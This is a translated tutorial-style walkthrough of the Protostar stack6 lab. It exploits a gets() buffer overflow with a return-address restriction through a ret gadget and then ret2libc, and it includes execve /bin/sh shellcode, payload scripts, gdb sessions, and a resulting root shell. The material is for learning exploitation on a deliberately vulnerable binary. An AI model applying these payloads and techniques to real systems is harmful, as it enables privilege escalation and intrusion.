Security_RNRF
0x15. 본문
15. Doing ret2libc with a Buffer Overflow because of restricted return pointer - bin.0x0F
: Content
-> Gadget
-> ret2libc
-> Find string in libc
:
: stack6(C code)(/opt/protostar/bin/stack6)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: ");
fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
-> builtin_return_address() - A function provided by the compiler, the current return address of the stack.
-> exit() - Because "exit(") is simply a "syscall" that terminates the program, even if the return pointer is smashed, this function will not be returned. It serves as a safety device.
: Let's test the function by adjusting the padding.
-> cp exploit.py stack6.py
-> vim stack6.py
-> import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+30)
nopslide = "\x90"*100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding+eip+nopslide+payload
-> python stack6.py | /opt/protostar/bin/stack6
-> input path please: bzzzt (0xbffff7de) # Fail…
Tips. Buffer overflows are not necessarily something you can do.
: gdb /opt/protostar/bin/stack6
-> set disassembly-flavor intel
-> break *getpath
-> r
-> info proc map
-> process 3453
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
-> info registers
eax 0xbffff874 -1073743756
ecx 0xc280b010 -1031753712
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7bc 0xbffff7bc
ebp 0xbffff7c8 0xbffff7c8
esi 0x0 0
edi 0x0 0
eip 0x8048484 0x8048484 <getpath>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-> You can see that only addresses starting with "bf" are in the stack. Therefore, it is not possible to return to the stack address by default.
-> How can we execute the code if we can't go back to the stack?
-> disassemble getpath
-> Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
: Modify the code so that it reaches "ret" in "getpath".
-> vim stack6.py
-> import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+30)
ret = struct.pack("I", 0x080484f9)
trap = "\xCC"*100
print padding + ret + eip + trap
-> python stack6.py > stack6
-> gdb /opt/protostar/bin/stack6
-> set disassembly-flavor intel
-> break *0x080484f9
-> r < /tmp/stack6
-> Starting program: /opt/protostar/bin/stack6 < /tmp/stack6
input path please: got path 0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOQQQQRRRRSSSS▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
-> x/4wx $esp
0xbffff7bc: 0x080484f9 0xbffff7de 0xcccccccc 0xcccccccc
-> si
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
-> x/4wx $esp
0xbffff7c0: 0xbffff7de 0xcccccccc 0xcccccccc 0xcccccccc
-> c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7df in ?? ()
: This address we have jumped (0x080) is “Godget”.
-> Usually when we do this kind of work, we'll say "go around" or "jump."
-> Because I execute a return command, but I don't go back to the original function.
: You can go back to the giant library "libc," as you've just returned to some code.
-> One of the interesting features of "libc" is "system."
-> gdb /opt/protostar/bin/stack6
-> r
-> Ctrl+C
-> p system
-> $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
-> But simply returning to it probably won't work.
-> Some things need to be controlled.
-> Let's create a simple C program that calls the "libc" system.
-> vim sys.c
#include <stdlib.h>
void main(){
system("/bin/sh");
}
-> gcc sys.c -o sys
-> Can see the address of the order to run before calling the system.
-> gdb sys
-> set disassembly-flavor intel
-> disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x10
0x080483cd <main+9>: mov DWORD PTR [esp],0x80484a0
0x080483d4 <main+16>: call 0x80482ec <system@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
-> x/s 0x80484a0
0x80484a0: "/bin/sh"
-> Pushes onto the stack a return address, calling the function.
: First, you must put the system's return address into the stack.
-> vim stack6.py
-> import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
system = struct.pack("I", 0xb7ecffb0)
return_after_system = "AAAA"
bin_sh = "????"
print padding + system + return_after_system + bin_sh
-> gdb /opt/protostar/bin/stack6
-> r
-> Ctrl+C
-> info proc map
process 3670
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
-> You can use "find" to search for strings in mapped "libc" memory.
-> find 0xb7e97000, +9999999, "/bin/sh"
0xb7fba23f
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
-> You can now find "/bin/sh" at this address.
-> Let's make sure it's true.
-> x/s 0xb7fba23f
0xb7fba23f: "KIND in __gen_tempname\""
-> Fail…
: Then, let's use a different technique.
-> You can use "strings" to find all the strings in "libc".
-> strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
11f3bf /bin/sh
-> x/s 0xb7e97000+0x11f3bf
0xb7fb63bf: "/bin/sh"
-> Modify "stack6.py" code a little.
-> import struct
padding = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
system = struct.pack("I", 0xb7ecffb0)
return_after_system = "AAAA"
bin_sh = struct.pack("I", 0xb7fb63bf)
print padding + system + return_after_system + bin_sh
-> (python stack6.py; cat) | /opt/protostar/bin/stack6
input path please: got path 0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO▒▒▒QQQQRRRRSSSS▒▒▒AAAA▒c▒
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
-> Clear!
: The technique I just used is "ret2libc."
-> We didn't execute any code in the stack.